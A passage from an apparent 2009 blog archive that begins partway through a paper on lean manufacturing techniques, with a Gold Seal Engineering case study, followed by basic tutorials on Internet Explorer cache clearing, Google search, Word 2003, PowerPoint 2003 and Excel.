Setup Time Reduction: Most of the companies perform videotaping and brainstorming sessions to understand how the time is being spent in the shop floor as, time reduction is the basic idea in any new manufacturing technique. It is found that in most of the industries the maximum time is utilized for setting up of the work on the machine and for installing the tool. In case of setups where the time for installation of tool and work is quite long the process can be made external so that a drastic reduction in setup time takes place. External activities are those actions which the operator can do before or after the machine is in the setup mode. For further reduction of setup times, each setup activity can be split into two so that setup becomes two activities. A videotaping session can actually give the reduction in time taken for setups.

Takt time: Takt time is the allowable time to produce one product at the rate customer is demanding it. This is not the same as cycle time, which is the normal time to complete an operation on a product (which should be less than or equal to takt time). In simple words it helps in setting up the pace or beat of a manufacturing process. One generally has to define or establish 2-3 takt times with one target takt time. This is to take into consideration the units which would not be able to keep up with the pace. The pace (takt time) should be set such that all the units are capable of keeping up with the pace of the manufacturing process. Usual approach for this is the TOP approach – Takt time, One piece flow, and Pull. TOP can be applied in a job shop where the manufacturing processes are well established and there are moderately sound forecasts and product repeatability. Several other approaches are possible.

Process Flow: In order to produce components at the set takt times the flow of the components (manufacturing process in general) should be smooth and uninterrupted. Usually the hurdles in proper flow of material and components are distance, handling method, setup time of one or more machines in the value stream, or machines not meeting the required rate of production due to unplanned downtime, breakdown, or lack of capability. Perfect example of industries where proper one-piece flow is required is automotive assembly lines. However, job shops need to be more flexible in production. The production rate can be easily manipulated depending upon the takt time calculated by changing the number of people working in a particular machine. The number of operators can be decided using the formula:
Number of operators = (Operator cycle time) / (Takt time)

Standard work: in a proper manufacturing plant every step must be planned and organized in the sequence required. The action plan for each and every person in the plant should be decided beforehand. This procedure of work assignment is called standard work. The steps required to decide the standard work are:
o Observation and documentation of all activities( by videotaping and brainstorming sessions)
o Matching each activity to an operator.
o Distribution of work to all workers equally.
o Matching of operator cycle time and takt time
o Documentation of operators’ tasks and preparation of work cards for standard work.
The process has to be repeated for all takt time calculated.

Line balancing: The goal of line balancing is to make sure that every person in the manufacturing team has approximately the same amount of work during each manufacturing cycle. No operator is let to have a cycle time too short or long compared to the takt time calculated. Each person must have an equal and balanced share of work. When the work load is lesser the number of workers can be reduced so that no worker has to wait and the operator cycle time is also maintained equally.

Machine reliability: It is important that before implementing lean, the company should have sufficient potential to undergo the change in its production system. This means that all the necessary inventories should be available in the company before implementing lean. Reliable machinery that is capable of coping up with stringent machining times and needs should be available. Moreover care has to be taken to incorporate the changes in a step by step manner.

Jidoka/ Poka-yoke: Jidoka literally means autonomation or self governing. Poka yoke means “mistake proofing”. As per Jidoka concept, the machine must be capable of testing its own function and produce good parts all the time. The machine should be capable of identifying any mistake and stop the process or intimate the operator. Poka yoke concept says that all mistakes should be considered and the machines should be designed such that any mistake done by the operator is not accepted by the machine. Both these systems are expensive, but a product or process-generic design can reap multiple benefits. So in the long run these devices can pay good dividends.

Pull system: In the pull system no excess stock is kept that is no overproduction is done. The stock that was spent the previous session is taken as the requirement for the current session and that number of parts alone is stocked. For the pull system to be effective, the system should be adopted at all stages of production and not only at one plant. Pull system again needs a lot of time for proper implementation.

Facility layout: Laying out the various machines in a shop floor is a very time consuming job, but then for effective utilization of machine and to achieve the takt times calculated layout of the machines should be changed according to the priority and relative relation between machines. To create a good layout one need s machine list , machine footprint, machine repair/maintenance accessibility areas, areas for scrap etc, power requirements, noise dirt and special considerations, blue prints of the area etc.

Handling reduction: Material handling is one subject where in the non value adding labour can be reduced. But this is practically very difficult. The idea behind lean is to make all operators work properly and spend less time in handling material and transporting them. In cases where machines cannot be rearranged and the distances are large, temporary workers can be employed to handle and transport the materials.

Waste and its categories
The implementation of lean manufacturing techniques requires that all the wastes are identified and eliminated from the System. Waste is defined by Mr. Fujio Cho (Toyota Company, Japan) as "Anything other than the minimum amount of equipment, materials, parts, space, and worker's time, which are absolutely essential to add value to the product."
In most organizations, the following items are claimed as the major sources of Waste:
• Overproduction.
• Waiting for materials, machines, or instruction.
• Transportation or movement.
• Machine processing.
• Excessive inventory.
• Inefficient operations.
• Producing defects.
• Model or line changeover or setup machines.
• No housekeeping.
• Miscommunication or mis-instruction.

There are different types of waste: Waste of inventory (space and time), Waste of Time (manufacturing time), Waste of Materials (Scrap),Waste of Equipment (machine time),Waste of plant space and movement of materials and objects, Waste of Labour (unnecessary actions),Waste of capital (idle times of resources).

CASE STUDY

Gold seal Engineering Products Limited

Introduction: The company, Gold Seal Engineering Products Ltd., is an ISO 9002 certified, medium enterprise that manufactures plastic and rubber components. The company is situated at Mumbai and employs around 160 people in its three plants. The company mainly manufactures rubber and PVC profiles, seals and body trimmings for automobiles. The company has a capital of US$500000 and 15% of its turnover is from exports. The company exports its products to countries like UK, France, Italy, Portugal, Germany, the Netherlands, Middle East, East Africa, South East Asia and Australia. The company has obtained technical license agreement with Saiag Industrial S.p.A., Italy, in manufacturing of new generation sealing profiles and glass run channels.

Implementation Strategy: Non-capital changes by using world-class manufacturing (WCM) methods such as single minute exchange of die (SMED), 5S activities (Sort - Straighten - Sweep - Standardize - Self-discipline), variations of the Kanban system and other recognized methods of generating productivity gains were incorporated in the manufacturing processes in all the plants.

Improvements:
A number of space and time utilization improvements were achieved. Shop-floor organization included leveling and repainting, with the additional benefit of improved safety and material flow on the shop floor. A 45% gain in production space was due largely to 5S activities. These activities combined with a red-tag campaign also contributed to a reduction in machine down time by 60%. Another contribution in this respect came from a systemic analysis of machine down time at each workstation, followed by remedy-search sessions held in the Engineering Department. Production set-up time was reduced by 33% by the application of single minute exchange of die (SMED) method. Gold Seal engineers participated in a training program which focused on standardization of changeover procedures and streamlining internal operations. Subsequently, standard operating procedures (SOPs) were expanded to include manual work. Consequently, approximately 50% of the production processes performed on the company's shop floor were standardized. This led to reduction of the lead time required for production and completion of goods by 25%. Through training, workers were able to develop additional skills, which led to an increase in workforce flexibility. Skills matrix was developed for each department. The outcome of such as exercise revealed that 57% of the workforce at Gold Seal was multi-skilled. Takt-time leveling benefits were analyzed in order to move towards a single-flow production system.

Conclusion

In this study we have found that most of the lean manufacturing techniques incorporated in the manufacturing units bring in a drastic change in the whole output figures. To achieve these changes , we understand that the company has to incorporate the principles and new strategies of lean manufacturing gradually so that each and every individual working in the plant can digest them and follow them as if it was a traditional way of operation in the plant.

References

Gary Conner, “Lean Manufacturing for the small shop”, Society of Manufacturing Engineers,2001

John Bicheno, “ The Lean Toolbox”, Second edition, Picsie Books, 2000

Everette E.Adam & Jr. Ronald J. Ebert, “Production & Operations Management”, Fifth edition, Prentice Hall of India Pvt Ltd.,1993

Internet Explorer: Clearing Browser’s Cache

2009-10-21T19:22:00.000-07:00

Internet Explorer: Clearing Browser’s Cache

Often referred to as the cache, the Temporary Internet Files folder contains a kind of travel record of the items you have seen, heard, or downloaded from the Web, including images, sounds, Web pages, even cookies. Typically these items are stored in the Temporary Internet Files folder.

Storing these files in your cache can make browsing the Web faster because it usually takes your computer less time to display a Web page when it can call up some of the page's elements or even the entire page from your local Temporary Internet Files folder.

All those files stored in your cache take up space, so from time to time, you may want to clear out the files stored in your cache to free up some space on your computer. This is called clearing the cache.

To clear the cache:

On the Internet Explorer 6 Tools menu, click Internet Options. The Internet Options box should open to the General tab.
On the General tab, in the Temporary Internet Files section, click the Delete Files button. This will delete all the files that are currently stored in your cache.

In the "General" tab, click "Clear History" to empty the "History" folder.

This folder stores shortcuts to the pages you viewed in this session and in earlier browsing sessions depending upon the setting in the "Days to keep pages in history". Now change the number of "days to keep pages in history" to "0" This should clear the visited pages history while exiting Internet Explorer.

Cookies:

Cookies are used by some websites to enable their sites to remember something about you, the information that is stored in cookies (locally on your computer) can vary, some sites use it for preferences, ecommerce sites may use them to remember what you have in your shopping basket.

Next, click on the Delete Cookies button as pointed out in the image above.

You will be prompted to confirm the cookie deletion, simply click the OK button to remove the cookies.

The Essentials of Google Search

2009-10-21T19:08:00.000-07:00

INTRODUCTION:

Doing a search on Google is easy. Simply type one or more search terms (the words or phrase that best describe the information you want to find) into the search box and hit the 'Enter'.

Choosing search terms

Choosing the right search terms is the key to finding the information you need.
Start with the obvious – if you're looking for general information on Univerisity, try University.
But it's often advisable to use multiple search terms; if you are planning to apply to any courses in chennai, you'll do better with University Chennai than with either Chennia or University by themselves.
Google searches are not case sensitive. All letters, regardless of how you type them, will be understood as lower case. For example, searches for tamil nadu, Tamil Nadu, and TaMiL NadU will all return the same results.

By default, Google only returns pages that include all of your search terms. There is no need to include "and" between terms. Keep in mind that the order in which the terms are typed will affect the search results. To restrict a search further, just include more terms.

Automatic exclusion of common words:

Google ignores common words and characters such as "where" and "how", as well as certain single digits and single letters, because they tend to slow down your search without improving the results.
If a common word is essential to getting the results you want, you can include it by putting a "+" sign in front of it. (Be sure to include a space before the "+" sign.).
For example, to search for Star Wars, Episode 1 ,use :

OR

Another method for doing this is conducting a phrase search, which simply means putting quotation marks around two or more words. Common words in a phrase search (e.g., "where are you") are included in the search.

And finally... "I'm Feeling Lucky"

After you've entered your search terms, you might want to try the "I'm Feeling Lucky" button, which takes you straight to the most relevant website that Google found for your query. You won't see the search results page at all, but if you did, the "I'm Feeling Lucky" site would be listed on top.
For example, if you're looking for the Stanford University homepage, just enter tamil nadu and click "I'm Feeling Lucky" instead of the Google Search button. Google will take you directly to "www.tn.gov.in".

Cached Pages:

Google takes a snapshot of each page it examines and caches (stores) that version as a back-up.

Practically every search result includes a Cached link. Clicking on that link takes you to the Google cached version of that web page, instead of the current version of the page. This is useful if the original page is unavailable because of:
• Internet congestion
• A down, overloaded, or just slow website
• The owner’s recently removing the page from the Web

Click on the Cached link to view Google’s cached version of the page with the query terms highlighted. The cached version also indicates terms that appear only on links pointing to the page and not on the page itself.

When Google displays the cached page, a header at the top serves as a reminder that what you see isn’t necessarily the most recent version of the page.

Spelling Corrections and Suggestions:

The system automatically checks whether you are using the most common spelling of each word in your query.

Notice that Google suggests the correct spelling if you fail to type the final “e” in “blue.”

Be aware that the spelling checker isn’t able to distinguish between a variant spelling and a word or name that is spelled similarly. So, before clicking on what Google suggests, check that it’s what you intended.

Microsoft Word Basic Tutorial-2

2009-10-21T19:01:00.000-07:00

Full Screen Print Preview:

To view how your Microsoft Word 2003 document will look when printed, choose "File" - "Print Preview".

If you click the "Full Screen" button (it should be to the left of the "Close" button on the "Print Preview" toolbar), most of these extra screen elements will disappear, giving you more room to review your document.

Press the "Esc" key to exit full screen mode.

Print Preview Multiple Pages at Once:

If you have a large monitor with a high resolution (1024x768 at a recommended minimum), you can preview multiple pages at once with Microsoft Word 2003. This might save you time during the proofreading process, plus it can give you a better idea of how the document flows from one page to the next.

1. Open a document to preview.

2. Select "File" - "Print Preview".

3. To the left of the "zoom" pull-down you should see a button looking like a green square with four white squares in the middle. Click it. This is the "Multiple Pages" button.

4. Select how many pages across and how many pages vertically you wish to view simultaneously. Note that the more pages you view, the smaller the text.
If you wish to go back to only previewing one page at a time, click the button to the left, "One Page".

Custom Spacing in a Paragraph:

It's relatively easy to adjust the line spacing of paragraphs in a Microsoft Word 2003 document by accessing the paragraph options.
1. Right-click the selected paragraph(s) and choose "Paragraph".

2. When the "Paragraph" multi-tabbed dialog box appears, select the "Paragraph" tab.

From here, you can adjust the following:

* Need to add spacing before each paragraph? Click the spinner button next to "Before" and choose your desired line spacing.

* Likewise, if you need to add spacing after each paragraph, click the spinner button next to "After" and choose your desired line spacing.

* To change the line spacing inside a paragraph, click the pull-down underneath "Line spacing". From here, you can select single, 1.5, or double spacing, or you can decide to space paragraphs at least, exactly, or a multiple of the value of your choice.

Uppercase Words and Spell Check:

Depending on how Microsoft Word 2003 is configured, the spellchecker may ignore uppercase words. To force it to check uppercase words for proper spelling,

1. Select "Tools" - "Options".
2. 2. When the "Options" multi-tabbed dialog box appears, click the "Spelling & Grammar" tab.
3. Uncheck "Ignore words in UPPERCASE".

4. Click "OK" to close the dialog box.

Embedding TrueType Fonts:

If you need to make sure that the fonts in your document can be used by another person or on a different system, you’ll need to embed those fonts.

1. Choose ‘Options’ from the ‘Tools menu’. Word displays the Options dialog box.
2. Make sure the Save tab is selected.
3. Ensure the Embed TrueType Fonts check box is selected.
4. If you will be using a small number of characters in a particular font, choose the Embed Characters In Use Only check box.
5. To save space in the document, choose the Do Not Embed Common System Fonts check box.
6. Click on OK.

Displaying Path Names in the Menu Bar:

There is a way to display a full path name on Word's menu bar:
1. Right-click anywhere on a toolbar. This displays a Context menu for the toolbars.
2. Choose Customize from the Context menu. This displays the Customize dialog box.
3. Click on the Commands tab.
4. In the Categories list, choose Web.
5. Drag the Address command (the first one in the command list) to the right of the Help menu on the menu bar. This action positions the Address drop-down list at the end of the menu bar.
6. Click on Close.

Microsoft Word Basic Tutorial-1

2009-10-21T18:53:00.000-07:00

INTRODUCTION:

When Word is first started, a new blank page titled Document1 is opened automatically. This is a fresh page where you can begin typing a new document.
• At the top of the window is a row of menus, including File, Edit and View.
• Below that row of menus is a row of buttons for various tools (collectively called the "toolbars") to use in creating and editing your document.
o Directly below the toolbars is a ruler.
• Use the ruler to set tabs, indents, and margins.
• There are scrollbars on the right side and on the bottom of the screen.
o By clicking on the arrows at the ends of the scrollbars, you can move up and down or left and right through your document.

Layouts in Word 2003:

Normal - Normal is the default Word 2003 view. It shows just the text that you are working on, without margins or header and footer information. It doesn't differentiate between different pages of text.
Web Layout - The Web Layout displays the document as if it were a web page
Print Layout - The Print Layout shows the entire page you are working on, including margins, header and footer information. It shows the layout of the text on the page the way it would be displayed if printed.
Reading Layout - The Reading Layout is a new layout in Word 2003. It displays your document like a book, showing two pages side by side without the editing toolbars for reading that is easier on the eyes than the standard Word .toolbars.
Outline - The Outline Layout displays the document as an outline.

To create a new blank document:

From the File menu choose New.
You can also click the New button on the toolbar to create a new blank document.
Opening a Document

To open a document:
From the File menu, choose Open.
You can also click the Open button on the toolbar to open a document.

To save a document for the first time:

Select the File menu > Save.

1. Word will display the following dialog box.
2. In the field next to File name, type the name of your document.
3. Navigate in the top portion of the dialog box to the folder where you would like to save the document.
o For example:
o To save the document to a disk, click the arrow on the right of the Save in box from the pull-down menu, and choose the A: drive. Select the Save button.
 When saving, use a file name that is under 31 characters (in case you work on your document in Word 98), and refrain from using punctuation.
4. Once you have saved your document for the first time you can save further revisions by selecting the File menu and choosing Save, or clicking on the Save button on the toolbar .
Saving a Document Under a Different Name
1. Open the document by selecting the File menu > Open .
2. From the File menu, choose Save As… A dialog box will appear.

3. In the File name field, type in a new name for the document.
4. Select the Save button .

Moving and Copying Text
Moving Text:

• To move text, select and highlight the section you want to move.

• From the Edit menu, choose Cut.

• Move the cursor to the place you would like the text to be inserted. Click in the document to place the cursor there.

• From the Edit menu, choose Paste.

Copying Text:

• To copy text, select and highlight the section you want to copy.
• From the Edit menu, and choose Copy. Move the cursor to the place you want the copied text to be inserted.

• From the Edit menu, and choose Paste.

Formatting Your Document:

• The Standard Toolbar is the toolbar just below the list of menus. It includes icons for creating new documents, saving, opening, and printing your documents, as well as cutting, pasting, copying, and a whole host of other options.
• The Formatting Toolbar is the bar below that.
• The Formatting toolbar in Word allows you to change fonts and font size, to bold and underline and to center text, as well as change the alignment of your font and other useful options.
• You can surmise from the symbols on the various buttons the functions that each performs.
• If you leave the pointer on a button for a few seconds, the function of that button will appear in a small box below the pointer.

Fonts
To change the font of the text in your document:

1. From the formatting toolbar, select the Font box, a drop-down menu list of font names.
2. Click on the arrow to the right of the font name.
3. Scroll through the list of fonts until you find the one you want to use.
4. Click the name of the font to select it. No matter where your cursor is, you will now begin typing in the new font from that point on.

To change the font of already typed text:

1. Highlight and select the text you want to change.
2. From the formatting toolbar, select the Font box.
3. Click on the arrow to the right of the font name.
4. Scroll through the list of fonts until you find the one you want to use.
5. Click the name of the font to select it.
6. The highlighted text will change to the newly selected font.

Bold, Underline, and Italics

• These are the buttons useful in formatting text:
• To bold, underline, or italicize words, highlight the text you want to affect. Click on the button with the B on it to bold the selected text. Click on the button with the I to italicize the selected text. Or, click on the button with U to underline the selected text.
• These stylizations can also be found in the Format menu under Font or in the pop-up menu after you have right-clicked on the highlighted selection.

Text Spacing and Alignment:

To align the text to either the left, center, right, or to justify text:
• Select the text that you wish to align and click on the appropriate button in the formatting toolbar.

For example, to align text to the left, select the text and click on the align left button .
To change spacing between lines:
1. select the paragraphs in which you want to change line spacing.
2. From the Format menu, select Paragraph, then in the dialog box that pops up, click on the Indents and Spacing tab.
3. Under Spacing, select the appropriate spacing options and click OK (e.g. changing line spacing to double-spaced instead of single-spaced).
Tabs

To set tab stops:

1. Select the paragraph in which you would like to set the tab stops.
2. Click on the Tab button at the left of the horizontal ruler until it changes to the tab that you want (left , right , center , or decimal tab).
3. Finally, click on the horizontal ruler where you want your tab stop.
• If you then press the Tab button, your cursor will move over to where you set your tab.
• The left tab aligns your text to the left.
• The right tab aligns your text to the right.

Margins
To change page margins:

1. From the View menu select Print Layout.
2. For left or right page margins, point to a margin boundary on the horizontal ruler until it changes to a double arrow and drag the margin boundary to the right or left:

3. For top or bottom page margins, point to a margin boundary on the vertical ruler until it changes to a double arrow and drag the margin boundary to the top or bottom.

To specify exact page margins:
From the File menu, select Page Setup.

1. You will see a pop-up page setup window.
2. Click on the margins tab.
3. You can change either top, bottom, left, or right margins by clicking in the appropriate text boxes or on the arrows next to the numbers.
• The center tab aligns your text to the center.
• The decimal tab aligns your text with any periods in your text or decimals in your numbers.

Microsoft PowerPoint Basic Tutorial

2009-10-21T18:11:00.000-07:00

INTRODUCTION:

PowerPoint 2003 is the version of PowerPoint packaged with the Microsoft Office 2003 suite for Windows computers. PowerPoint can be used to produce presentations, slides, handouts, speaker's notes, and outlines. PowerPoint's use of templates lets you design consistent slides without being an expert designer.

The Tri-Pane View

PowerPoint 2003's default or "Normal" view is called the Tri-Pane View. This view opens automatically when you launch PowerPoint, and allows you to see several aspects of the presentation simultaneously.

There you can add all your content and format your presentation. Below the Slide Editing pane is the Notes Pages pane where it reads "Click to add notes".

The Outline tab will be labeled "Outline" as shown above. This tab allows you to display the outline of the text in your presentation in that column.

The Slides tab will be labeled "Slides". Clicking on this tab displays thumbnail-size slides from your current presentation.

Views

PowerPoint has five views from which you can choose to create and edit your slides. To access the views, you can go to the View menu.

The first view is the Normal View. In this view, you edit one slide at a time. With the current slide, you can add text, draw graphics, add clip art, and change the layout. This is the default view.

The second view is the Slide Sorter View. This view shows a miniature of your slides. Under each slide it shows the slide number, transition between slides, body text animation and display time.

The third view is the Slide Show (From Current Slide). This view runs your presentation from the slide you were currently editing, filling the screen with your slides. With this view, you can see the slide transitions and timing. To get out of the Slide Show view and back to one of the edit views, press the ESC key.

Outline tab allows you to display the outline of the text in your presentation in that column. When you save your presentation as a Web page, the text on the Outline tab becomes a table of contents so that you can navigate through the slides.

The Slides tab will be labeled "Slides". Clicking on this tab displays thumbnail-size slides from your current presentation

Creating A New Presentation

When you launch PowerPoint 2003, it automatically creates a new blank presentation with a title slide for you. You can begin creating your presentation or click New Presentation in the Task Pane to select a slide layout for your slide.

If you wish to create a new presentation once you are in PowerPoint, go to the File menu and select New. You can also click on the Blank Presentation button and click OK. Then follow the previous directions for selecting a slide layout

Opening an Existing Presentation

To open an existing presentation, select the File menu > Open; then select the name of the file you wish to open. Alternatively, choosing the Open button rom the menu will also open the selected file.

Saving Presentations

Selecting the File menu > Save will save the current presentation. If this is the first time you have saved this presentation, PowerPoint 2003 will ask for a file name. If the presentation has been saved before, PowerPoint will find and replace the older document.

To save a presentation with a different name or in a different folder, select the File menu > Save As... from the menu. PowerPoint will then ask for the new name and folder for the presentation.

You also have the option of saving your presentation in different formats. In the Save As window, there is a pull down menu under the Save As Type field. This allows you to save your presentation as a Windows Metafile, a JPEG, or whatever format suits your fancy.

There is also an option to save the presentation as html, enabling you to save it as a format that can be put on the Internet. This option can be useful as a back up method in case something goes wrong with your presentation or if PowerPoint is not installed on the computer you are presenting on. Be aware that some of the PowerPoint features will not be available as a webpage.

To Save As Webpage:

Select the File menu > Save as Webpage...
In the Save In field select the folder you wish to save your webpage in.
In the File Name Field, type a name for your file

Make sure the file extension is .html

In the Save As Type Field select Webpage (*.htm, *.html)
Click on the Publish button.
In the new dialog box that appears choose whether to export your entire slide show, certain slides, and other features you may wish to include.
When you have selected all of your options, click on the Publish button again.

Undo an action

To cancel or undo your most recent action,select the Edit menu > Undo or click the utton. To see the most recent actions you can undo, select the arrow next to the Undo button You can scroll to see more actions. Click the action you want to undo and it will undo it. When you undo an action, you also undo all actions listed above it. If you change your mind after you click Undo, you can click Redo to restore the action.

The Slide in PowerPoint 2003

Adding Slides

A new slide can be added by selecting Insert menu and selecting New Slide or clicking on the New Slide button on the toolbar. While the new slide will automatically be formatted as a slide with a title box and a text box, the task pane will display the slide layout section. From here you can choose from a variety of slide layouts. To select any layout, click its thumbnail image. Your slide will change automatically.

Deleting Slides

The current slide can be deleted by selecting the Edit menu and choosing Delete Slide from the menu. The next slides in the presentation will each move up in the slide order.

PowerPoint lets you change the layout of a slide without changing the entire slide.

To apply a slide layout:

Select the Format menu and choose Slide Layout. Doing so displays the slide layout section in the task pane from which you can select a new layout.
Click on the layout you would like. The current slide will automatically apply the layout.

The new layout will be applied to the current slide without affecting the slide's contents.

Changing A Slide's Position

The easiest way to change a slide's position is to use the Slide Sorter view. The slides are shown chronologically in this view, and you can select and drag individ

ual files to move them to different positions.

Text

To add text to the title of a slide, click in the box that reads Click to add title. Next, type the text you want to be used as a title. Do not press ENTER at the end of the line unless you wish to place another line of text in the title.

To insert a new text box:

Go to the Insert menu > Text box.
The cursor will change to a cross. Click where you would like to put your new text box and drag your mouse diagonally to create it.
Once you release the mouse, you will have a blinking cursor in your text box. If the text box is not exactly where you want it to be, it is possible to move it to a new location once you have written your text.
Type the text you want to have in your text box.

You can also advance to the next line of the same bulleted text by pressing SHIFT+ENTER. While typing text, you can edit by using the arrow keys, BACKSPACE, DELETE, and the edit menu commands. If you wish to edit text in another section or put text in an object, select the object and edit the text.

To change margins, vertical alignment, word wrap, and whether the text box automatically resizes as text is added, select Format menu > Text Box, in the Format window click the Text Box tab, make changes, then click OK.

Formatting Slides in PowerPoint 2003

Text Attributes

PowerPoint lets you change the style and characteristics of your text.

To change the text format, choose the Format menu > Font to display the font dialog box. From this dialog box you can choose the font, point size, font style, and text color for the selected text.

You can make your text shadowed by choosing the Shadow option in the effects box. The Superscript option raises the text above the current text line and the Subscript option places the text below the current line.

PowerPoint also lets you define formatting characteristics for paragraphs of text. The Format > Alignment menu command lets you select the alignment of the text within the paragraph. The Format > Line Spacing menu command is used to set the spacing between lines of a paragraph. The Before Paragraph and After Paragraph boxes are used to set the line spacing before and after each selected paragraph.

Slide Designs

PowerPoint provides slide designs as a quick and easy way to create a background and design style for your fonts and bullets. There are various different slide designs that you can choose by going to the Slide Design pane in the Task Pane.

In the Task Pane:

Click on the down arrow in the top right corner. A list of all the different panes will appear.
Select Slide Design. The Task Pane will change and thumbnail images of each slide design will appear.
If you click on one of them, your slide will automatically apply that slide design.

Find And Replace

PowerPoint lets you find and replace text relatively quickly. To find a word or line of text, select the Edit menu > Find. In the dialog box, enter the desired text to find and select the appropriate options. When you are done, click on the Find Next button. If PowerPoint finds the text, it will be highlighted in the active slide. Continue to click on the Find Next button to find each occurrence of the word or phrase.

To replace a word or line of text, select the Edit menu > Replace. In the dialog box, enter the word or line of text you wish to replace the old text with and select the appropriate options. When done, select Find Next to find the next occurrence without replacing it, select Replace to replace the next occurrence, or Replace All to replace all occurrences of the word or line of text.

Spell Checking

PowerPoint provides a spell checker. To ensure no spelling mistakes, select the Tools menu > Spelling. PowerPoint will then search all your slides for misspelled words.

If an unknown word is found, PowerPoint will display a dialog box with possible corrections. To correct the misspelled word, click on the correct spelling and select Change or Change All to change the current and any future misspellings of the word.

The Add button will let you add the word to your personal dictionary. This is useful for commonly used words such as your name, which PowerPoint may not recognize.

Microsoft Excel Basic Tutorial

2009-10-21T06:15:00.000-07:00

Components of the Excel Window
Besides the usual window components (close box, title bar, scroll bars, etc.), an Excel window has several unique elements identified in the figure below.

Standard Toolbar
The Standard toolbar, located beneath the menu bar, has buttons for commonly performed tasks like adding a column of numbers, printing, sorting, and other operations. Excel let's you customize the toolbar or even display multiple toolbars at the same time. The Standard Excel XP toolbar appears in the figure below.

Formula bar
The formula bar is located beneath the toolbar at the top of the Excel worksheet. Use the formula bar to enter and edit worksheet data. The contents of the active cell always appear in the formula bar. When you click the mouse in the formula bar, an X and a check mark appear. You can click the check icon to confirm and completes editing, or the X to abandon editing.

Name box
The Name box displays the reference of the selected cells.
Row and column headings
Letters and numbers identify the rows and columns on an Excel spreadsheet. The intersection of a row and a column is called a cell. Use row and column headings to specify a cell's reference. For example, the cell located where column B and row 7 intersect is called B7.
Active cell
The active cell has a dark border around it to indicate your position in the worksheet. All text and numbers that you type are inserted into the active cell. Click the mouse on a cell to make it active.
Fill handle
The lower right corner of the active cell has a small box called a Fill Handle. Your mouse changes to a cross-hair when you are on the Fill Handle. The Fill Handle helps you copy data and create series of information. For example, if you type January in the active cell and then drag the Fill Handle over four cells, Excel automatically inserts February, March, April and May.
Worksheet tabs
An Excel workbook consists of multiple worksheets. Use the worksheet tabs at the bottom of the screen to navigate between worksheets within a workbook.

Pointer Shapes
The shape of the pointer changes as you are working with the program. Each pointer shape is communicating something about how Excel is working. The shape of the pointer when you click and drag a cell will greatly influence the results of the click and drag. The following is a table that describes each of the pointer shapes that you may encounter in your Excel work.
Shape Meaning Action

The default pointer shape. Move cell pointer or select a range of cells.
When the pointer is on a border (column, row, or window), the pointer changes to a two-headed black pointer. When adjusting row height, the arrow goes up and down. When adjusting column width, the arrows point right to left. Adjust the column width, row height, or window size.

When you are editing the contents of a cell, the pointer will change to an I-beam. Move the insertion point within the cell.
The pointer turns to a four-headed arrow when you have a graphic that may be moved. With the pointer over the graphic, click and drag to the new location.
Appears when you are pointing to the border of a cell. Click and drag cell to a new location.
Appears when you are at the "fill corner" of a cell or range of cells. It fills either down or across (not a square). Click and drag the fill corner to Autofill other cells with similar information.

File Open and Save
The Open, Save, and Save As windows (pictured below shown below) have improved functions. The windows can be opened by going to File > Open, File > Save, and File > Save As. It gives you the option of quickly navigating folders to find your document or to save it in a specific folder. Located on the left side of the dialog box, there are five buttons(My Recent Documents, Desktop, My Documents, My Computer, My Network Places) which will quickly bring you to those chosen locations

To save an untitled Excel workbook, from the File menu choose Save As or click the Save button on the toolbar (shown at right). The Excel Save As dialog box is the same as the Open dialog box above except it is labeled "Save As"

The Save As dialog box contains a text box for you to type a specific filename, a "Save File as Type:" box to save your workbook in a different format that other programs can read, a selection box to designate the folder and drive in which to save the file, and a "Places Bar" that offers other locations to save your file.

Moving the Active Cell
Cell selection and movement around the worksheet are similar operations in Excel. To select a given cell or make it active, simply click on that cell. Use the mouse or the arrow keys to move around the worksheet. For example, if you press the right arrow key twice you move two cells to the right.
Refer to the table below for additional information on using the keyboard to navigate a worksheet.
To move Press this key
One cell left Left Arrow
One cell right Right Arrow
One cell up Up Arrow
One cell down Down Arrow
To top of worksheet (cell A1) Control Home
To last cell containing data Control End
To end of data in a column Control Down Arrow
To beginning of data in a column Control Up Arrow
To end of data in a row Control Right Arrow
To beginning of data in a row Control Left Arrow
Adding Comments
Adding a comment to a cell allows you to place additional information within that cell. The comment, along with the username of the person who inserted the comment, appears when you point to the cell.
Adding Comments: Menu Option
1. Select the cell to which the comment will be added.
2. From the Insert menu, select Comment.
3. The Comment box appears with your username.
4. Type your comment.
5. Click another cell.
6. A red triangle will appear in the cell indicating that a comment is attached to the cell.
7. When you place your mouse over the cell, the comment will appear.

Cell with comment Text of comment revealed

Adding Comments: Quick Menu
1. Right click the cell to which you want to add a comment.
2. Select Insert Comment.
3. The Comment dialog box appears.
4. Type your comment.
5. Click another cell.
6. A red triangle appears in the cell indicating that a comment is attached to the cell.
7. When you place your mouse over the cell, the comment will appear.
Adding Comments: Toolbar Option
1. Go to View ->Toolbars ->Reviewing.
2. Select the cell you want to add a comment to.

3. On the Reviewing toolbar, click New Comment .
4. The Comment dialog box appears.
5. Type your comment.
6. Click another cell.
7. A red triangle appears in the cell indicating that a comment is attached to the cell.
8. When you place your mouse over the cell, the comment will appear.

Formatting
Wrapping Text
If you have text that appears in a single cell but you want to increase the height of that cell to accommodate all of the words, you can use the Wrap text option. (Note: Follow the procedures for the Wrap text option before you type the text into the cells.)

1. Select the cells that you want to apply Wrap text to.
2. From the Format menu, select Cells.
3. The Format Cells dialog box appears.
4. Select the Alignment Tab.
5. Under Text Control, select by clicking on Wrap text.
6. Click OK.

Drawing Borders
The Borders toolbar allows users to easily add borders or delete cell borders in their spreadsheet. It also allows users to change the line color, line style, and even allows users to add grids to the spreadsheet.
Opening/Closing Borders Window
• Click on the down arrow beside the Border icon and select the Draw Borders... option to open the Borders window.
• Click the X box on the upper right corner of the Borders window to close the window.

Using the Borders Window
• Click on the Draw Border icon to draw borders. This option will change the mouse arrow into a pencil.
• To draw grids in the cell, click on the down arrow next to the Draw Border icon and select Draw Border Grid option.

• To erase the border or grid that you draw, click Erase Border icon .
• To change the type of line you want to draw, click down arrow on Line Style .
• To change the color of the border or grid that you have drawn, click Line Color icon .
Cell Merging Shortcut
Merging Cell
• Use the mouse to select the empty cells you want to merge.
• Click the Merge and Center button to merge the selected cells.
Un-merging Cell
• To undo any merges you have made, click the Merge and Center button .